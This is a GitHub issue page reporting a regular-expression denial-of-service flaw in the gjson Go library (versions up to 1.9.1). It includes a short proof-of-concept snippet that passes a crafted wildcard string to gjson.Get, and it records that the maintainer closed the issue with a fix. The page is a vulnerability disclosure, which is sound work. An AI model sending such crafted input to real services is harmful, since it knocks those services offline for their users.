Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

#

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Jump to bottom

gjson.Get can cause DoS attacks. GJSON <= 1.9.1 allows attackers to cause a redos via crafted JSON input. #236

Closed
cmdrgh opened this issue Oct 1, 2021 · 0 comments
Closed

gjson.Get can cause DoS attacks. GJSON <= 1.9.1 allows attackers to cause a redos via crafted JSON input. #236

cmdrgh opened this issue Oct 1, 2021 · 0 comments

Comments

@cmdrgh
Copy link

cmdrgh commented Oct 1, 2021

func main() {
testJson := #[%"*?**?**?**?**?**?***?**?**?**?**?*"""]
gjson.Get(testJson, testJson)
}
@tidwall tidwall closed this as completed in 590010f Oct 4, 2021
# for free to join this conversation on GitHub. Already have an account? # to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@cmdrgh